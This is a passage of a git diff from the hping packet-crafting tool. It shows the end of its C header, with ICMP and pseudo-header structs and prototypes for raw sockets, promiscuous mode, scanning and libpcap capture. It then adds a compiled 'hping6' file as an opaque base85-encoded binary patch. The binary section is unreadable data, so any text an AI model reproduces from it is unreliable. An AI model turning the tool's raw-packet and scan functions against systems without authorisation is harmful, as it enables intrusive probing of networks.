__u16 sequence; + } echo; + __u32 gateway; + __u32 mtu; + } un; +}; + +struct icmp_tstamp_data { + __u32 orig; + __u32 recv; + __u32 tran; +}; + +/* + * UDP/TCP pseudo header + * for cksum computing + */ +struct pseudohdr +{ + __u32 saddr; + __u32 daddr; + __u8 zero; + __u8 protocol; + __u16 lenght; +}; + +struct pseudohdr6 +{ + __u8 saddr[16]; + __u8 daddr[16]; + __u16 lenght; + __u16 zero1; + __u8 zero2; + __u8 protocol; +}; + +#define PSEUDOHDR_SIZE sizeof(struct pseudohdr) +#define PSEUDOHDR6_SIZE sizeof(struct pseudohdr6) + +/* + * hping replies delay table + */ +struct delaytable_element { + int seq; + int src; + time_t sec; + time_t usec; + int status; +}; + +volatile struct delaytable_element delaytable[TABLESIZE]; + +/* protos */ +void nop(void); /* nop */ +int parse_options(int, char**); /* option parser */ +int get_if_name(void); /* get interface (see source) */ +int get_linkhdr_size(char*); /* get link layer hdr size */ +int open_sockpacket(void); /* open SOCK_PACKET socket */ +int close_sockpacket(int); /* close SOCK_PACKET socket */ +int open_sockraw(void); /* open raw socket */ +void send_packet (int signal_id); +void send_rawip (void); +void send_tcp(void); +void send_udp(void); +void send_icmp(void); +void send_hcmp(__u8 type, __u32 arg); /* send hcmp packets */ +void send_ip (char*, char*, char*, unsigned int, int, unsigned short, + char*, char); +void send_ip_handler(char *packet, unsigned int size); /* fragmentation + handler */ +void wait_packet(void); /* handle incoming packets */ +void print_statistics(int); +void show_usage(void); +void show_version(void); +void resolve(struct sockaddr*, char*); /* resolver */ +void log_icmp_unreach(const char*, unsigned short);/* ICMP unreachable logger */ +void log_icmp_timeexc(const char*, unsigned short);/* ICMP time exceeded logger */ +time_t get_usec(void); /* return current usec */ +time_t get_midnight_ut_ms(void); /* ms from UT midnight */ +__u16 cksum(__u16 *buf, int nwords); /* compute 16bit checksum */ +void inc_destparm(int sid); /* inc dst port or ttl */ +char *get_hostname(const char*); /* get host from addr */ +void datafiller(char *p, int size); /* fill data from file */ +void data_handler(char *data, int data_size);/* handle data filling */ +void socket_broadcast(int sd); /* set SO_BROADCAST option */ +void socket_iphdrincl(int sd); /* set SO_IPHDRINCL option */ +void listenmain(void); /* main for listen mode */ +char *memstr(char *haystack, char *needle, int size); /* memstr */ +void tos_help(void); /* show the TOS help */ +int rtt(int *seqp, int recvport, float *ms_delay); /* compute round trip time */ +int relativize_id(int seqnum, int *ip_id); /* compute relative id */ +int if_promisc_on(int s); /* promisc. mode ON */ +int if_promisc_off(int s); /* promisc. mode OFF */ +int open_pcap(void); /* open libpcap socket */ +int close_pcap(void); /* close libpcap socket */ +int pcap_recv(char *, unsigned int); /* libpcap api wrapper */ +int memlock(char *addr, size_t size); /* disable paging */ +int memunlock(char *addr, size_t size); /* enable paging */ +int memlockall(void); /* disable paging (all pages) */ +int memunlockall(void); /* enable paging (all pages) */ +unsigned char ip_opt_build(char *ip_opt); /* build ip options */ +void display_ipopt(char* buf); /* display ip options */ +void icmp_help(void); /* show the ICMP help */ +void route_help(void); /* show the route help */ +void (*Signal(int signo, void (*func)(int)))(int); +void delaytable_add(int seq, int src, time_t sec, time_t usec, int status); +int read_packet(void *packet, int size); +void scanmain(void); +u_int32_t hp_rand(void); +struct in6_addr ipv6_rand(char *net,int prefixlen); +#if !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) && \ + !defined(__bsdi__) && !defined(__APPLE__) +size_t strlcpy(char *dst, const char *src, size_t siz); +#endif + +/* ARS glue */ +void hping_ars_send(char *s); + +struct SOCKADDR +{ + __u8 data[50]; +}; + +#define ADDR(x) ({ \ +void *tmp; \ +if(opt_ipv6) \ + tmp=&((struct sockaddr_in6*)(x))->sin6_addr; \ +else \ + tmp=&((struct sockaddr_in*)(x))->sin_addr; \ +tmp; \ +}) +#define ADDR4(x) (((struct sockaddr_in*)(x))->sin_addr) +#define ADDR6(x) (((struct sockaddr_in6*)(x))->sin6_addr) +#define ADDRCMP(x,y) (memcmp(ADDR(x),ADDR(y),opt_ipv6?16:4)) + +#endif /* _HPING2_H */ diff --git a/hping6 b/hping6 new file mode 100644 index 0000000000000000000000000000000000000000..cd9732f4d5d8879bb4cf6e9f8cf038c09b17f95a GIT binary patch literal 482640 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 